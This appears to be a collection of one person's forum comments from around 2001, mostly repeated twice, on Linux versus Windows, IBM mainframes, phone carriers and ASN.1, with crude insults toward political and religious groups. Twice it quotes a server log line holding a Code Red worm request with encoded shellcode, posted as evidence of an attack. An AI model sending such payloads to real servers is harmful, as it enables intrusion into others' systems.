It's funny... I was contracted by an unnamed state agency in Pennsylvania to do just that, replace an ageing Vax with a Windows NT system. The state government is full of republican morons that had their souls (maybe more) bought by Microsoft. I can't blame the IT people there, as they mainly _HAD_ to use Windows for anything. I wanted to use a Linux system to do the job, but was told it was not "politically correct"...
sent Sprint PCS Customer Service three emails asking them "I've been a loyal customer for 4 yrs and need a new phone. What are you going to do to keep me?"
Heh, here, in europe, My provider (SFR) sent me an email to go to a personalized page on their web site and choose a new phone (I have had the same contract for 2 years). I chose the nicest one and, lo and behold, the phone was delivered by express carrier 2 days later...
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argh, this could be used by telemarketters to send you their crap faster and go to some other guy while you listen
Although z/VM can start and stop Linux images, it cannot dynamically add resources to match demand. As a result, a mainframe would need to size for peak demand just as the Linux farm would; high utilization is a myth.
This is total bullshit, check the IBM RedBooks on z/VM
I'm an IBM tech (not speaking for IBM, of course) and can tell all that the "proprietary Operating system" they are talking about is not really an OS, more like a virtual machine that handles all other oses. This virtual machine is n implementation of the S390 architecture that will handle several "virtual computers" at the same time by the use of multiple "virtual processors", each one used for a "virtual computer", with each having it's own PC, virtual memory handling and all.
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Oh, but they still have to worry about being naked...
hehe, who cares... Clothes have not been invented to hide the body, but to keep warm.
The concept of hiding the body comes from the moral ineptness of some idiotic religious nuts during the dark ages
Here is an example. Ask a newish computer user to add a network printer then connect to it. Firstly in Windows, then in Linux. Now see the confused looks first, then with a touch of do this, they can. Then ask them to do it again without help. Windows, they will guess their way. Linux will be NO FUCKING WAY. Simple shit like that is not dumb enough to do in Linux yet!
Complete Bovine Excrements. What is this link for then ?
It explains from start to finish how to do that, including the proper screen captures.
as the cable company are mostly dumb, they will be checking http[s] and ftp, so you can safely install a proxy on the firewall machine and off you go;)
Furthermore, I will add that our government also supports the use of Linux, as this this page states, people can download a java version of the forms filling tool, that allows online filing of a zillion of various things.
The hell with this.
This damn thing is part of the OSI thing (remember this crap that worked on paper but was hell to implement)...
It's probably the telco people trying to inflict this stuff upon us.
HTML and XML are there for a reason, the current information technologies are fast enough so that there is no need to "compress" things and that documents are human readable. Getting back into ASN.1 is going back in the past, in binary files hell.
It's even better for me, my own ISP (noos.net) has machines that are currently attacking me... see the log below:
212.198.0.93 - - [05/Aug/2001:08:59:41 +0200] "GET/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 283 "-" "-"
guess what... this is "curie.noos.net", part of my ISP's systems
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Good, this will make free software much more interesting for them...
It's free, no money involved, no financial traps possible...
here shows that you are wrong.
It's funny... I was contracted by an unnamed state agency in Pennsylvania to do just that, replace an ageing Vax with a Windows NT system.
The state government is full of republican morons that had their souls (maybe more) bought by Microsoft. I can't blame the IT people there, as they mainly _HAD_ to use Windows for anything.
I wanted to use a Linux system to do the job, but was told it was not "politically correct"...
sent Sprint PCS Customer Service three emails asking them "I've been a loyal customer for 4 yrs and need a new phone. What are you going to do to keep me?"
Heh, here, in europe, My provider (SFR) sent me an email to go to a personalized page on their web site and choose a new phone (I have had the same contract for 2 years). I chose the nicest one and, lo and behold, the phone was delivered by express carrier 2 days later...
argh, this could be used by telemarketters to send you their crap faster and go to some other guy while you listen
You can't, these honking pieces of crap (tm) are full of proprietary hardware that is not supported by any free unix clone
On another note, I remember Unisys has it's own unix-based OS on proprietary hardware some time ago...
cool, it will largely simplify the filtering of the crap coming from their mail servers
Although z/VM can start and stop Linux images, it cannot dynamically add resources to match demand. As a result, a mainframe would need to size for peak demand just as the Linux farm would; high utilization is a myth.
This is total bullshit, check the IBM RedBooks on z/VM
ok, I have to answer this bull alltoguether
I'm an IBM tech (not speaking for IBM, of course) and can tell all that the "proprietary Operating system" they are talking about is not really an OS, more like a virtual machine that handles all other oses. This virtual machine is n implementation of the S390 architecture that will handle several "virtual computers" at the same time by the use of multiple "virtual processors", each one used for a "virtual computer", with each having it's own PC, virtual memory handling and all.
Oh, but they still have to worry about being naked...
hehe, who cares... Clothes have not been invented to hide the body, but to keep warm.
The concept of hiding the body comes from the moral ineptness of some idiotic religious nuts during the dark ages
nope, 20 processors per package, 16 doing the calculations, and 4 doing the I/O
/me is an IBMer and has inside info
who the fuck are these guys?
Fucking christian nutz ?
3) Usability.
Here is an example. Ask a newish computer user to add a network printer then connect to it. Firstly in Windows, then in Linux. Now see the confused looks first, then with a touch of do this, they can. Then ask them to do it again without help. Windows, they will guess their way. Linux will be NO FUCKING WAY. Simple shit like that is not dumb enough to do in Linux yet!
Complete Bovine Excrements. What is this link for then ?
It explains from start to finish how to do that, including the proper screen captures.
Research before saying anything, you Dork !
Well, use mono then
not too far from the experience I had trying to introduce a friend to Linux...
depends on the complications of the pay processing in the various countries. For example, our accountant told me that it's hell, here, in France
Or those (like me) whose company use MS Proxy with the proprietary NTLM authentication
can you post a link to the software, as some of us can be interested
do you guys think they sing that every morning instead of the national anthem before going to work ?
as the cable company are mostly dumb, they will be checking http[s] and ftp, so you can safely install a proxy on the firewall machine and off you go ;)
I checked google for "customer.txt" and you have no idea on how often professional developers magazine give advice on making such files :(
Furthermore, I will add that our government also supports the use of Linux, as this this page states, people can download a java version of the forms filling tool, that allows online filing of a zillion of various things.
OK,
it's time for me to take the 9 tracker tape deck out of the closet...
The hell with this.
This damn thing is part of the OSI thing (remember this crap that worked on paper but was hell to implement)...
It's probably the telco people trying to inflict this stuff upon us.
HTML and XML are there for a reason, the current information technologies are fast enough so that there is no need to "compress" things and that documents are human readable. Getting back into ASN.1 is going back in the past, in binary files hell.
It's even better for me, my own ISP (noos.net) has machines that are currently attacking me... see the log below :
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 283 "-" "-"
212.198.0.93 - - [05/Aug/2001:08:59:41 +0200] "GET
guess what... this is "curie.noos.net", part of my ISP's systems